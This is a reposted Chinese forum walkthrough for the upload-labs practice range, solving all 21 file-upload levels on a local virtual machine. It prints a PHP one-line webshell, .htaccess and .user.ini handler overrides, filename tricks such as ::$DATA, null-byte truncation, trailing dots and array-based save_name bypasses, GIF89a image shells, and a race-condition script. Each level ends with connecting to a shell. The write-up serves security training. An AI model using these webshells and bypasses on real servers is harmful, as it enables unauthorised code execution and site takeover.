立聪堂德州十三局店 发表于 2024-9-1 16:15:48

文件上传弊端靶场通关教程(全)

更多内容请查看borgeousのblog
情况搭建

我利用的是win7虚拟机+phpEnv搭建靶场情况,我们只必要将upload-labs的源码下载下来,并拖入到虚拟机对应的文件中,如下所示
https://img-blog.csdnimg.cn/img_convert/3b50647201cd05fd7df58b1ff424d8ff.png
并在网络配置下写入如下配置
https://img-blog.csdnimg.cn/img_convert/c1a3805458d0767214592623217d0a1c.png
根目录选中源码目录,点击生存,最后在自己本机上的host文件中加上xx.xx.xx.xx(虚拟机IP) upload.local,如下所示
https://img-blog.csdnimg.cn/img_convert/38005a39b89629349d9fc929733dcdfc.png
如许我们的本机就能乐成的进行域名解析,我们就可以通过物理机上的浏览器进行访问虚拟机的网站
https://img-blog.csdnimg.cn/img_convert/8344b344392e97a96fcdd51ffe6d1d35.png
Pass-01

我们先上传一个php马,通过bp进行抓包,我们在脚本中写入<?php @eval($_POST['attack']);?>,生存为attack.php,进行上传
https://img-blog.csdnimg.cn/img_convert/68190f2c0371d326f4d7bb129c589d53.png
发现bp并没有抓到包,以是可以判定是前端验证,我们打开开发者工具,我们可以发现js代码
https://img-blog.csdnimg.cn/img_convert/c756746dc22d70d0506051f38ea1c3b0.png
我们直接禁用js,重新上传,我们可以发现乐成上传,直接利用蚁剑连接,图像地址为http://upload.local/upload/attack.php,连接
https://img-blog.csdnimg.cn/img_convert/6a538d8fc5d0c2a7ee4b0a421ab1acd3.png
Pass-02

同样的,先上传attack.php,看看是什么限制,这一看就是后端检测了,我们用bp抓包
https://img-blog.csdnimg.cn/img_convert/7dc52fdd486e8ee50c7f22ec228f3187.png
将Content-Type改成png情势,发现上传乐成
https://img-blog.csdnimg.cn/img_convert/7dc52fdd486e8ee50c7f22ec228f3187.png
最后蚁剑连接即可
Pass-03

同样上传attack.php,用bp抓包重发,发现这里又有前端验证,我们这里先禁用js,再进行上传attack.php,但是好像不管用了,于是我F12去看了看源码,发现并不是前端验证,以是我们尝试着将attack.php改成attack.php.png,再试着进行上传
https://img-blog.csdnimg.cn/img_convert/f2dc9a461d48188e1cea6c2040d3ece5.png
发现可以乐成上传,我们用bp拦截,再进行测试,我们发现他给我们的提示信息好像和以前不一样了(这里肯定肯定要仔细)
https://img-blog.csdnimg.cn/img_convert/38ab6525f71c4e2f0a6c3dabab72777d.png
这里是仅仅不允许上传这几个特定的后缀文件,而没说不能上传其他后缀的木马文件,好比phtml、php3、php5等等,我们这里试着改为phtml,看看能否上传乐成
https://img-blog.csdnimg.cn/img_convert/0c36513c7d2ef13608a2a0fdc73348e3.png
乐成上传,我们再用蚁剑连接即可,这里还要注意一点,上传后服务器会给我们重命名,我们只必要在网页中新建标签页打开图片就能找到正确路径
https://img-blog.csdnimg.cn/img_convert/7f4a83bb81f7c28ccedb2c23a965cd3e.png
Pass-04

方法一 上传.htaccess

同样先上传一个任意木马文件,然后抓包进行测试,经过我们的测试,这里并没有过滤.htaccess文件,我们可以先上传一个.htaccess文件,让服务器可以将png文件解析为我们的php文件实行,.htaccess文件内容如下
SetHandler application/x-httpd-php
https://img-blog.csdnimg.cn/img_convert/694fce0f80f8c0122674d9be4efc82b3.png
接着上传一句话木马,如下所示
https://img-blog.csdnimg.cn/img_convert/d4e9e0d73c183bebdbcf286b03b03f48.png
蚁剑连接,这里要注意的是将phpEnv的中心件改为Apache,并修改如下地方
https://img-blog.csdnimg.cn/img_convert/3d1cacf57d519eb438e8197cf858bced.png
方法二 代码审计

我们找到源代码
https://img-blog.csdnimg.cn/img_convert/51475f79e8c6313e687c43b54bcdd50a.png
通过审计代码我们可以发现当我们上传1.php. .的时候可以绕过限制,如下所示
https://img-blog.csdnimg.cn/img_convert/67cf318a1f6d4423e05e77bff81e83f6.png
我们用蚁剑进行连接,乐成连接上
https://img-blog.csdnimg.cn/img_convert/62aa57dc06c1f483174dab3ddab58c23.png
Pass-05

这里源代码没变,我们可以用第四关的方法二进行上传,这里不再加以赘述
https://img-blog.csdnimg.cn/img_convert/1efe9f4c818d9c63c561cd83a47cbc72.png
这里还有一种方式,就是上传.user.ini文件,.user.ini的意思是所有的php文件自动包含某个文件,其相当于一个用户自界说的php.ini文件,php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理惩罚,从而导致 php 的文件解析弊端,想要引发解析弊端的三个条件为
服务器脚本语言为PHP
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件
我们将情况切换回nginx,在.user.ini中写入auto_prepend_file=attack.png,即把attack.png的东西全部包含在内里,我们上传两个文件,如下图所示
https://img-blog.csdnimg.cn/img_convert/61c2d37c5b2a5c665a8c2f775fe769af.png
https://img-blog.csdnimg.cn/img_convert/2fb6cc8d37ea0187f8ed6826a5ca52ad.png
此时我们去看看readme.php下有没有包含我们写的木马
https://img-blog.csdnimg.cn/img_convert/9361666b401f8197607cfa151ef11c5a.png
ok,本关乐成上传
Pass-06

查看源码,基本上所有的后缀名都给禁用了,但是没有大小写转换函数,以是我们可以利用大小写转换来进行绕过
https://img-blog.csdnimg.cn/img_convert/509fc80b48a6494283213838eef4512d.png
https://img-blog.csdnimg.cn/img_convert/19d6a4a047cf05b7e455b5379195e3eb.png
蚁剑连接即可,如下所示
https://img-blog.csdnimg.cn/img_convert/d88baf8b64618c4a5ef7df9aa15706cd.png
Pass-07

查看源码,没有利用删除空格函数trim,以是我们可以利用空格绕过,即在文件末端上传一个空格进入绕过
https://img-blog.csdnimg.cn/img_convert/a879cdb30ed232a0dfd606b05e9d1401.png
上传乐成,访问/upload/202407181054425865.php这个路径即可getshell
https://img-blog.csdnimg.cn/img_convert/71568e370df75479626a70b0b5c7d34d.png
Pass-08

这一关没有效$file_name = deldot($file_name);//删除文件名末端的点函数来删除后面的点,以是我们思量利用点绕过
https://img-blog.csdnimg.cn/img_convert/b8957539eec9cb865908afa83fe7014c.png
乐成绕过,地址为/upload/attack.php
https://img-blog.csdnimg.cn/img_convert/52ba54b09336509a63005bdb48ff7aa5.png
Pass-09

这一关删除了函数$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA,我们可以用字符串::$DATA进行绕过
补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。
以是我们可以尝试进行文件流转化,乐成上传
https://img-blog.csdnimg.cn/img_convert/3104f577b563ca10ef61c221e3bfb1f1.png
路径如下/upload/202407181113425867.php,蚁剑访问
https://img-blog.csdnimg.cn/img_convert/9c09ab6b776627dfa1dcaa9303825937.png
Pass-10

这一关利用. .进行绕过,这里我们补充一个知识,也能表明前面为什么利用. . 绕过可以乐成
补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
以是这就是为什么中心要加一个空格,attack.php. .经过过滤后会变成attack.php.,可以乐成绕过对文件后缀名的限制
https://img-blog.csdnimg.cn/img_convert/7853ff03fa2bdc98134ca6e42001cc3f.png
路径为/upload/attack.php.
https://img-blog.csdnimg.cn/img_convert/5634b4bdf7227efff84cef7ea00fce03.png
乐成连接,getshell
Pass-11

经过抓包测试,发现利用双写绕过可以实现绕过
https://img-blog.csdnimg.cn/img_convert/7abca57f919d1bdb4b1d9aac465c9b14.png
https://img-blog.csdnimg.cn/img_convert/734afff5e2c92b1f52a29e0f8dd0df3c.png
Pass-12

这题要用到的知识点是00截断,紧张针对的是白名单检测,在php<5.3.4的版本中,存储文件时处理惩罚文件名的函数认为0x00是停止符,于是在函数读到0x00时,会认为文件已经竣事
例如:我们上传 1.php%00.jpg 时,首先后缀名是合法的jpg格式,可以绕过前端的检测。上传到后端后,后端判断文件名后缀的函数会认为其是一个.jpg格式的文件,可以躲过白名单检测。但是在保存文件时,保存文件时处理文件名的函数在遇到%00字符认为这是终止符,于是丢弃后面的 .jpg,于是我们上传的 1.php%00.jpg 文件最终会被写入 1.php 文件中并存储在服务端。
由于我的靶场情况版本高于5.3.4,以是这里不演示操纵乐成界面,只演示操纵步调,修改下面两个地方即可(针对GET型00截断,GET说的是其save_path是get传参的
https://img-blog.csdnimg.cn/img_convert/2f44105ac56449f1e3cf2158a364ab4a.png
Pass-13

这一关仍然是00截断,但是是POST传参,我们进行如下操纵
https://img-blog.csdnimg.cn/img_convert/3264e705439d5ebba956dac5c9c7fb43.png
这里并不是没进行00截断,而是提前对%00进行了url解码,因为post不会像get那样提前对%00进行解码
https://img-blog.csdnimg.cn/img_convert/4fa66c17bc72ad4cac2f5f13d6a2efb2.png
Pass-14

第十四关让我们上传图片马到服务器,也就是说肯定会检测是不是真的为图片,而不是仅仅检测后缀名,这个时候我们就必要用到GIF89a进行伪造图片,如下所示
https://img-blog.csdnimg.cn/img_convert/55abab5dbce3ead36a1f8ede964fec5d.png
路径为/upload/8420240718134909.gif,我们采用文件包含的模式将这个gif文件包含进代码中,以当作php文件进行实行
以是我们的蚁剑连接路径为http://upload.local/include.php?file=upload/8420240718134909.gif
https://img-blog.csdnimg.cn/img_convert/aa0527fc5aaecd6340772f9323864f0f.png
连接乐成
Pass-15

我们按照同样的方式进行操纵
https://img-blog.csdnimg.cn/img_convert/e922b8ec36633c8984bb2e8b503158a8.png
https://img-blog.csdnimg.cn/img_convert/27fcd164b26939782f4294ece0598a7c.png
Pass-16

继续上述操纵
https://img-blog.csdnimg.cn/img_convert/6b1ed04815f0277f8b1642d487930eb2.png
路径为/upload/4920240718135933.gif
https://img-blog.csdnimg.cn/img_convert/0e3540671c9890d50dd3b8543ab41d58.png
乐成
Pass-17

继续利用刚刚的方法
https://img-blog.csdnimg.cn/img_convert/674451b18a181dab0c562c7eae2e45dd.png
发现不行了,猜测大概是检测了Content-type,我们试着把Content-Type改了,如下所示
https://img-blog.csdnimg.cn/img_convert/5b9ccc9a992cc478b270c9fdc60775ba.png
发现还是不太行,后来看了别人的解法才知道是二次渲染,我们拿大佬的gif进行上传,链接放这里了:文件上传之二次渲染(专用图).zip - 蓝奏云 (lanzoui.com)
https://img-blog.csdnimg.cn/img_convert/30cbce318cbb5ca5cbdf32c34f2f70f0.png
这张图片的特点就是我们这里看是乱码,但是经过上传到服务器解析后得到的是一个可以打开的gif文件,对应的地址为/upload/31946.gif
Pass-18

这一关的提示就是让我们去代码审计,那我们先去审计代码
https://img-blog.csdnimg.cn/img_convert/3910be1655746d708738507d4cfb0bf2.png
代码告诉我们我们上传的文件首先会进行白名单检测,假如属于gif、png、jpg中的一种,服务器就会对其重命名,否则就会删除,我们这个时候就可以利用条件竞争的方式,让服务器一直在上传和删除,最后总能上传乐成
我们将拦截到的包送入爆破模式
https://img-blog.csdnimg.cn/img_convert/e7eadf225b77830da1f298bcac9765bf.png
我们设置无穷空发payload
https://img-blog.csdnimg.cn/img_convert/eb01bb3b9ce7f47a6e4f60fdd6227e14.png
我们把线程数调大一点
https://img-blog.csdnimg.cn/img_convert/b5792a91cc7019cff8643c32bc07a0e8.png
同时我们写一个脚本来判断什么时候乐成上传了
import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/attack.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
      print("OK")
      break
然后我们开始条件竞争攻击,最后发现我们的目录下有attack.php,最后用蚁剑连接即可
Pass-19

同样是条件竞争,只不外是图片马情势的条件竞争,我们按照第18关的方法一样进行设置即可,同时记得给数据加上GIF89a头,同时利用文件包含的方式进行访问,这些在前面已经讲过,这里不再赘述
Pass-20

这一题我们首先查看源码,源码如下所示
https://img-blog.csdnimg.cn/img_convert/1a1317570949fe0da700cfc726773e4e.png
显然这里既有白名单验证,又有黑名单验证,黑名单基本把所有后缀名给过滤了,但是有一个函数值得注意一下,就是move_uploaded_file函数,就是会忽略末端的/.,使得我们可以用php/.绕过对php的限制,因为它并不是php后缀,以是我们可以用以下的手法来进行绕过
https://img-blog.csdnimg.cn/img_convert/c6124713ce97c29d17d761e27bd89ad4.png
路径为http://upload.local/upload/upload-19.php/.
https://img-blog.csdnimg.cn/img_convert/04e17ac9f040e39e5d91ae94a08afc65.png
Pass-21

首先我们对源代码进行分析,源代码如下
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
      $msg = "禁止上传该类型文件!";
    }else{
      //检查文件名
      $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
      if (!is_array($file)) {
            $file = explode('.', strtolower($file));
      }

      $ext = end($file);
      $allow_suffix = array('jpg','png','gif');
      if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
      }else{
            $file_name = reset($file) . '.' . $file;
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
      }
    }
}else{
    $msg = "请选择要上传的文件!";
}
我们来进行代码审计,拉一遍流程,首先利用empty函数看看upload_file是不是为空,不为空检查MIME头是不是符合,我们这里将MIME头修改一下
https://img-blog.csdnimg.cn/img_convert/5af7f6017e8f46e47c1cec1824ad372c.png
之后会对文件名进行检查,假如save_name为空,则把$_FILES['upload_file']['name']赋值给$file,反之则把$_POST['save_name']赋值给$file
接下来利用is_array判断$file是不是数组,假如不为数组,则把其转为数组
explode(separator,string,limit)                //函数把字符串打散为数组。
separator         必需。规定在哪里分割字符串。
string         必需。要分割的字符串。
limit         可选。规定所返回的数组元素的数目。
这里以.为分割进行分数组,同时把所有的字符转成小写,以这里的为例,就会有array=upload-20,array=jpg,然后再利用end()函数,end函数将指针指向最后一个元素并输出,即把jpg赋值给$ext,即$ext=jpg,然后去判断后缀名是不是合法的,是不是在白名单内的
count()               //计算数组中的单元数目,或对象中的属性个数
end()                        //函数将内部指针指向数组中的最后一个元素,并输出。   
reset()                   //输出数组中的当前元素和下一个元素的值,然后把数组的内部指针重置到数组中的第一个元素:
最后将$file的第一个元素和$ext拼接起完整的路径
解题思绪

我们肯定是在数组上做文章,我们肯定不能让它利用explode函数对我们进行分割,假如让其进行分割的话,我们特定不能传进去.php后缀,以是我们就得自己把save_name整成数组情势,也就是分多块进行传输,我们不妨如许设计
save_name=attack.php
save_name=jpg
如许我们的$ext=save_name=jpg,乐成绕事后缀检测的代码段
由于reset()函数输出数组第一个,以是
$file_name = reset($file) . '.' . $file;
reset($file) = attack.php
由于count($file) = 2 //由于1为空,所以返回2,count只计算属性数
所以$file=$file=null
所以$file_name = attack.php
因此成功绕过
https://img-blog.csdnimg.cn/img_convert/3c3f5ed88ce71debb2df44f6d63363e8.png
我们用蚁剑连接即可
https://img-blog.csdnimg.cn/img_convert/d72512a15d10e69755c883cccc5116ea.png

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 文件上传弊端靶场通关教程(全)